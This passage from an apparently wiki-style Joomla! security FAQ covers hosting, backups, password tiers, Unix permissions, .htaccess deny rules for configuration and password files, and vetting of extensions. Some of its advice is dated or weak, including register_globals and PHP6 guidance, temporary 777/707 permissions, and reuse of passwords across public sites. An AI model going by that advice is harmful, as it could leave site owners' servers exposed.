* '''Set PHP register_globals OFF:''' The most security conscious hosts turn PHP's Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don't get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.

* '''Stay up-to-date:''' Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].

* '''Avoid cheap shared servers:''' Be sure users on your shared server can't view each others files and databases, for example through shell accounts and cpanels.

* '''Proactive server management:''' Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they've responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.

* '''Require raw log access:''' Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.

* '''Performance matters:''' Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.

* '''Data center:''' Choose a host that manages it's own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.

* '''Know your neighbors:''' Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.

* '''Visit the Joomla Resources Directory (JRD) [http://resources.joomla.org/directory/support-services/hosting.html hosting section]:''' If you are looking for a Joomla Host, please ensure you make your own investigations as to the services offered and whether they suit your needs or not.

* '''Grow with your site:''' As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) '''dedicated servers''' offer the best possible security and performance, but at the highest expense, 2) '''virtual servers''' offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.

==What are the best practices for site backups?==

: There are three traditional backup types--full, cumulative and differential.

'''Full Backups'''
: A complete backup of all associated files and database at a known point in time.

: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.

'''Cumulative Backups'''
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.

'''Incremental Backups'''
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.

: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.

: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.

: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night's backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.

: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially "over-filling" the file-system.

'''Data Protection Best Practice says'''

# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.
# A good backup practice is to store backups away from the current data location, preferably off site.
# Dynamic data should be backed up ''offline'' or ''hot'' to avoid ''fuzzy'' backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.

: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.

: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven't modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.

==Where can I learn about vulnerable extensions?==
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]

==Where can I learn more about file permissions?==

* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]

==How do I setup a powerful password scheme?==

'''Overview'''

: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.

'''Directions'''

* '''Level 5 (Public)''' - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it's more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!

* '''Level 4 (Webmaster)''' - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn't apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.

* '''Level 3 (Webmaster)''' - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn't matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!

* '''Level 2 (Personal Data Access)''' - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!

* '''Level 1 (Banking!)''' - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!

= Joomla! Core =

==How can I check my Joomla! installation's overall security and health?==

: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.

: Project Home: http:// joomlacode. org/gf/project/jts/ (gone away)

==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==

# Login to your Joomla! sites Administration site
# From the menu, select Extensions -> Module Manager
# From within the Module Manager, select Administrator
# From the Icon Menu (top right), select New
# From the choices available, select Feeds Display
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL
# Select cpanel as the position
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel
# Select Save from the Icon Menu (top right)
# Go back to your Admin Site main page (Site -> Control Panel) and you should see your newly built Security Feed.

: You can also use this technique to deliver your own "Customer Updates" to sites that you build for others. It's a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they'll see your latest news.

==Why should I immediately change the name of the default admin user after a new install?==

'''Overview'''

: All new Joomla installations start with a Super Administrator account called, 'admin'. During the installation process, you will be asked to give this account a password. That's great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they're in.

: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.

'''Directions'''

# Log into the Back End
# Select User Manager
# Select the 'admin' user record
# Change the value in username. (Good user names contain a mix of letters and numbers.)
# Save
# Remember the new username!

== Why does the Back-End session stay alive even though I set it to expire? ==

: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:

# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it's never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it's remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.

==How do I turn off RG_EMULATION? {{JVer|1.0}}==

'''Overview'''

: PHP's ''register_globals'' option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input.

: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance!

: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP ''register_globals'', but it's still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with ''register_globals'' turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don't use such extensions.

'''Joomla! 1.0.13'''

: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.

'''Joomla! 1.0.12 and earlier'''

: Edit the file, ''globals.php'', found in the root directory of your Joomla! site. At about line 23 change:

define('RG_EMULATION',1)

: to

define('RG_EMULATION',0)

==What do Error 1, Error 2, and Error 3 mean?==

'''Error 1 = FATAL ERROR: MySQL not supported...'''

You need to compile MySQL support into PHP or the MySQL server is down.

'''Error 2 = FATAL ERROR: Connection to database ...'''

Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in ''configuration.php'', or you are trying to access a database table with the wrong table prefix.

'''Error 3 = FATAL ERROR: Database not found...'''

The database cannot be found. Check the database settings in ''configuration.php''

The MySQL variables in ''configuration.php'' (found in Joomla!'s root directory) can be modified to correct these problems.

For Joomla! 1.0.xx
$mosConfig_host = 'localhost';
$mosConfig_user = 'accountname__username';
$mosConfig_password = 'userpassword';
$mosConfig_db = 'accountname_dbName';
$mosConfig_dbprefix = 'jos_';

Modifying the ''$mosConfig_host'' to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.

==How do UNIX file permissions work?==

Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;

Owner Permissions : Control your own access to files.
Group Permissions : Control access for you and anyone in your group.
Other Permissions : Control access for all others.

In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.

'''What do Unix permissions look like?'''

When viewing your files through an FTP client or from the servers command line;

filename.php username usergroup rwx r-x r-x

The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.

'''Owner (User) relates to username'''

The Owner (User) is normally you, these permissions will be enforced on your hosting account name.

'''Group relates to usergroup'''

The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.

'''Other relates to everyone else'''

The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;

r = Read permissions
w = Write permissions
x = Execute permissions

Owner Group Other
r w x r w x r w x

As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Thus...

4+2+1 4+2+1 4+2+1
= 7 7 7

The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;

Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories;

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either "apache" and "apache" or "nobody" and "nobody" as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.

640 = rw- r-- ---
Owner has Read and Write
Group has Read only
Other has no rights

The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.

750 = rw- r-x ---
Owner has Read and Write
Group has Read and Execute
Other has no rights

Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to "Execute" commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the "Read" command, thus cannot deliver your file to the users web browser.

'''How Does this Relate to Joomla?'''

Good question, well in the first instance this would be important during the Web-Installer process.
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for "Writable" permissions to be too vague.

Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term ''writable'' is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where ''write'' permissions maybe set;

Owner Writable
Group Writable
Other Writable

Also remembering that the Web Server generally doesn't run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the "Other" permissions that will apply to it. If the "Other" permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not ''writable''.

In this case, you will need to configure the Other permissions to be "7" on the directories listed in the Web Installer.
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.

757 = rwx r-x rwx
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read, Write and Execute

Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the ''other'' permissions, may not be required, now you may only need to configure directories to be ''writable'' to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read and Execute

775 = rwx rwx r-x
Owner has Read, Write and Execute
Group has Read, Write and Execute
Other has Read and Execute

The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.

644 = rw- r-- r--
Owner has Read, Write
Group has Read
Other has Read

This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have "Writable" to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.

If your server needed directory permissions to be set to "Other" Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have "Write" access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.

If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.

In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!

I know this isn't as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure "7" settings can be reset back to something more secure. For example:
Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories,

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (" / ") of your Joomla! installation, then run:

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;

If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the ''configuration.php'' file.

Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.

If you decide to use ''caching'' the cache directory will need to be ''writable'' by the Web server user to allow it to write its temporary files.

==What are the recommended file and directory permissions?==

Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.

==How can I avoid using chmod 0777 to enable installs?==

On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.

'''Directions'''

# Edit the Apache user.conf file and tell apache to run under the FTP account.
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.

'''Optional'''

# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well

==Isn't locating all Joomla! files inside public_html a security risk?==

'''Short answer'''

Potentially, yes. Your site can be secure, but you must be careful and vigilant.

'''Long answer'''

A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.

Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.

As long as you want the entire world to view your public_html directory there is no problem. After all, that's exactly what it's designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.

If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.

One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include and require. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.

'''The incredible lightness of living outside the fence'''

To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.

Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.

Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.

'''Joomla! defense'''

Despite it's apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.

'''The challenge'''

The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.

This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you'll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)

During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.

The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.

To (Deny, then Allow), or (Allow, then Deny)?

The real problem with the above "all known" qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.

Consider the logic for a password authentication script. We have essentially two choices:
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.
# First deny all access, then allow any username/password combination that DOES match the approved list.

Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.

Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it's not usually a security breach.

'''The good news'''

# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation.
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.

==How do I adjust Joomla 1.5 defines {{JVer|1.5}}==

There are two defines files that will generally need to be edited. /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.

define( 'JPATH_ROOT' , implode( DS, $parts ) );
define( 'JPATH_SITE' , JPATH_ROOT );
define( 'JPATH_CONFIGURATION', JPATH_ROOT );
define( 'JPATH_ADMINISTRATOR', JPATH_ROOT . DS . 'administrator' );
define( 'JPATH_LIBRARIES' , JPATH_ROOT . DS . 'libraries' );
define( 'JPATH_INSTALLATION' , JPATH_ROOT . DS . 'installation' );

.DS. = Directory Seperator

==Moving sensitive files outside the web root==
{{:Moving sensitive files outside the web root}}

==How do I block direct access to critical files using .htaccess?==
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you are finished.
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.

<Files .htaccess>
order allow,deny
deny from all
</Files>

<FilesMatch "configuration.php">
Order allow,deny
Deny from all
</FilesMatch>

You can also protect a lot of file extensions in one single rule. Exemple (the file names between ' '''(''' ' and ' ''')''' ' in this rule are the file extensions to protect ):

<FilesMatch "\.(htaccess|htpasswd|ini|phps|log|sh|conf)$">
Order allow,deny
Deny from all
</FilesMatch>

==How do I recursively adjust file and directory permissions?==

'''Using Joomla! Administration'''

In the Back-end, go to Site --> Global Configuration --> Server.

'''Using the UNIX shell'''

'''Note:''' The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;
chmod 707 images
chmod 707 images/stories
chown apache:apache cache

'''Notes:'''
# Test all third party extensions after changing permissions.
# You may need to reset write permissions to install more extensions.

==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==

Use Joomla version 1.5 or newer

A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.

Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.

'''More Help'''
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]

==Why isn't restricting access by IP recommended?==

Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker's actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.

= Joomla! Extensions =

==Why are there vulnerable extensions?==

A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions].

: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.

: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla's success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others' Web sites.

: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.

==What is a vulnerable extension?==

A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.

Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:

# Know the version numbers of all installed extensions.
# Use only the latest stable version of all extensions.
# Completely remove all files of insecure or unused extensions.

==How do I choose secure extensions?==

: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.

: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:

1. When was the last version released?

: If it has been over a year, consider the project abandoned and find something else. Do not install old components.

2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)

: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.

3. Does the extension have a history of good security practices?

: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.

4. Is there a support community for this extension?

: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.

5. Is there only a Mambo version of this extension?

: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.

6. Is the extension generally bug free?

: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:

'''Bad Practices:'''

# Having PHP's Register Globals enabled.
# Using out of date or abandoned extension.
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)
# Poorly configured file permissions.
# No request filtering or software "firewall". (such as mod_rewrite rules or mod_security Apache modules)

'''Bugs:'''

# Not including defined('_VALID_MOS') or die... statements
# Poorly constructed include() statements.

'''Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.'''

1. How complex is the extension?

: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can't tell what it's doing, you should not trust it.

2. Does the extension read or write files to your server?

: Programs that read files may inadvertently violate access restrictions you've set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.

3. Does the extension interact with other programs on your system?

: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?

4. Does the extension run with suid (set-user-id) privileges?

: In general this is very dangerous; extensions need an excellent reasons for doing this.

5. Does the extension validate all user input, such as in form fields and in the URL?

6. Does the extension use explicit path names when invoking external programs?

: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.

7. Is the extension secure against direct access throught the URL?

: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here

8. Is the extension secure against remote file inclusions?

9. Is the extension secure against SQL injections?

10. Is the extension secure against Cross Site Scripting (XSS)?

11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON?

: If so, then it is probably violating number 7 above.

12. Does the extension provide higher database access to less privileged users?

: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?

==Why does the Extensions site include insecure extensions?==
'''
Overview'''

The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.

If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.

To be safe, you must verify the security of every extension you install.

Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril.

'''Disclaimer'''

: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.

